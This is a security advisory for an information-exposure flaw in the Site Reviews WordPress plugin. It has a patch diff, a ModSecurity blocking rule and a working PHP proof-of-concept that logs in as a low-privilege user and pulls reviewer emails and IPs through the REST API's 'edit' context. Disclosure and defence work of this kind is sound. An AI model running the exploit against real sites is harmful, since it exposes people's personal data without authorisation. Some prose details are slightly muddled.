Atomic Edge analysis of CVE-2026-57318:
The Site Reviews plugin for WordPress, in all versions up to and including 8.0.11, contains a Sensitive Information Exposure vulnerability. An authenticated attacker with Subscriber-level access or higher can extract sensitive user or configuration data. The vulnerability is present in the REST API permission checks and the encryption module, rated with a CVSS score of 4.3.
The root cause lies in the ReviewPermissions.php file (Controllers/Api/Version1/Permissions/ReviewPermissions.php). The vulnerable method lacked a context-based permission check for the ‘edit’ context in REST API requests. Without this check, any authenticated user (Subscriber+) could access the ‘edit’ context of review endpoints. Additionally, the Encryption class (Modules/Encryption.php) had a type mismatch issue where constants like SODIUM_CRYPTO_SECRETBOX_NONCEBYTES were not cast to integers, potentially leading to incorrect nonce/key derivation.
An attacker with Subscriber-level credentials can send a GET request to the Site Reviews REST API endpoint, specifying the ‘edit’ context for a review resource. For example, an attacker could call /wp-json/site-reviews/v1/reviews/1?context=edit. This would return sensitive fields such as author email, IP addresses, or unpublished review data that should only be accessible to Editor-level roles.
The patch adds a permission check in ReviewPermissions.php at line 79-84. Before the patch, the function returned true for any authenticated user with ‘edit_posts’ capability. The patched version checks if the request context is ‘edit’ and then verifies the user can ‘edit_posts’. If not, it returns a WP_Error with a ‘rest_forbidden_context’ message. The Encryption.php changes cast the constant values to integers, ensuring consistent nonce/key length calculations.
Successful exploitation exposes sensitive user data including email addresses, reviewer IPs, and review meta data. This information can facilitate targeted phishing attacks, identity theft, or further exploitation. The confidentiality impact is limited to authenticated users, hence the CVSS score of 4.3 (Medium).
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/site-reviews/plugin/Controllers/Api/Version1/Permissions/ReviewPermissions.php
+++ b/site-reviews/plugin/Controllers/Api/Version1/Permissions/ReviewPermissions.php
@@ -76,6 +76,13 @@
'status' => rest_authorization_required_code()
]);
}
+ $context = $request['context'] ?? 'edit';
+ if ('edit' === $context && !glsr()->can('edit_posts')) {
+ $message = _x('Sorry, you are not allowed to edit this review.', 'admin-text', 'site-reviews');
+ return new WP_Error('rest_forbidden_context', $message, [
+ 'status' => rest_authorization_required_code(),
+ ]);
+ }
return true;
}
--- a/site-reviews/plugin/Controllers/MenuController.php
+++ b/site-reviews/plugin/Controllers/MenuController.php
@@ -223,6 +223,37 @@
}
/**
+ * Reorders the submenu to keep post types at the top
+ *
+ * @action admin_menu
+ */
+ public function reorderSubMenu(): void
+ {
+ global $submenu;
+ $prefix = 'edit.php?post_type='.glsr()->post_type;
+ if (empty($submenu[$prefix])) {
+ return;
+ }
+ $deferred = [];
+ $reindexed = [];
+ $index = 0;
+ $step = 5;
+ foreach ($submenu[$prefix] as $item) {
+ if (str_starts_with($item[0] ?? '', 'All ')) {
+ $index += $step;
+ $reindexed[$index] = $item;
+ } else {
+ $deferred[] = $item;
+ }
+ }
+ foreach ($deferred as $item) {
+ $index += $step;
+ $reindexed[$index] = $item;
+ }
+ $submenu[$prefix] = $reindexed;
+ }
+
+ /**
* @action admin_init
*/
public function setCustomPermissions(): void
--- a/site-reviews/plugin/Hooks/MenuHooks.php
+++ b/site-reviews/plugin/Hooks/MenuHooks.php
@@ -13,6 +13,7 @@
['registerMenuCount', 'admin_menu'],
['registerSubMenus', 'admin_menu'],
['removeSubMenu', 'admin_init'],
+ ['reorderSubMenu', 'admin_menu'],
['setCustomPermissions', 'admin_init', 999],
]);
}
--- a/site-reviews/plugin/Modules/Encryption.php
+++ b/site-reviews/plugin/Modules/Encryption.php
@@ -97,14 +97,14 @@
protected function legacyNonce(): string
{
$nonce = defined('NONCE_SALT') ? NONCE_SALT : '';
- $nonce = substr($nonce, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
- return str_pad($nonce, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '#');
+ $nonce = substr($nonce, 0, (int) SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
+ return str_pad($nonce, (int) SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '#');
}
protected function key(): string
{
$key = defined('NONCE_KEY') ? NONCE_KEY : '';
- $key = substr($key, 0, SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
- return str_pad($key, SODIUM_CRYPTO_SECRETBOX_KEYBYTES, '#');
+ $key = substr($key, 0, (int) SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
+ return str_pad($key, (int) SODIUM_CRYPTO_SECRETBOX_KEYBYTES, '#');
}
}
--- a/site-reviews/site-reviews.php
+++ b/site-reviews/site-reviews.php
@@ -7,7 +7,7 @@
* Plugin Name: Site Reviews
* Plugin URI: https://wordpress.org/plugins/site-reviews
* Description: Receive and display reviews on your website
- * Version: 8.0.11
+ * Version: 8.0.12
* Author: Paul Ryley
* Author URI: https://site-reviews.com
* License: GPL3
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@beginsWith /wp-json/site-reviews/v"
"id:20265731,phase:1,deny,status:403,chain,msg:'CVE-2026-57318 Site Reviews REST API context exploit',severity:'CRITICAL',tag:'CVE-2026-57318'"
SecRule ARGS:context "@streq edit" "chain"
SecRule REQUEST_METHOD "@streq GET" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57318 - Site Reviews <= 8.0.11 Authenticated Sensitive Information Exposure
$target_url = 'http://example.com'; // CHANGE THIS
$username = 'subscriber'; // CHANGE THIS
$password = 'password'; // CHANGE THIS
// Step 1: Authenticate with WordPress
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
// Step 2: Fetch a review with 'edit' context to leak sensitive data
// REST API endpoint: /wp-json/site-reviews/v1/reviews/{id}?context=edit
$rest_url = $target_url . '/wp-json/site-reviews/v1/reviews/1?context=edit';
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
// Step 3: Check if we got sensitive data (e.g., email, IP)
if ($response) {
$data = json_decode($response, true);
if (isset($data['email']) || isset($data['ip_address'])) {
echo "[+] Vulnerability confirmed! Extracted sensitive data:n";
// Print all fields to show what was leaked
foreach ($data as $key => $val) {
echo " $key: " . (is_array($val) ? json_encode($val) : $val) . "n";
}
} else {
echo "[-] Could not extract sensitive data (may be patched or review ID not found).n";
}
} else {
echo "[-] No response from REST API.n";
}
curl_close($ch);
unlink('/tmp/cookies.txt');